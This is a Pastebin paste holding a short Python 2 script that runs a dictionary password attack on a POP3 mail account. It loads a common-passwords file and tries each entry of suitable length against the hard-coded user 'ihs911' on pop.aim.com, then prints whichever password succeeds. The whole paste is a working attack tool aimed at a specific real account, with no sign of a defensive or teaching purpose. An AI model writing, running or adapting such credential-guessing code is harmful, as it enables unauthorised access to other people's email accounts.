Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys, poplib, time
- #server is pop.aim.com
- text = open('mostCommon.txt').read().split("\n")
- for line in text:
- if len(line) > 5 and len(line) < 17:
- username = 'ihs911'
- #time.sleep(3)
- ok = poplib.POP3('pop.aim.com')
- #time.sleep(3)
- print 'Welcome, we are in : ' + ok.getwelcome()
- ok.user(username)
- password = line
- print 'Trying as the password : ' + password
- try:
- # time.sleep(3)
- response = ok.pass_(password)
- print response
- print ok.stat()
- break
- except:
- print 'That password was wrong'
- ok.quit()
- else:
- print 'Length of line was not sufficient : ' + line
- ok.quit()
- print 'Password found, it is :' + password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement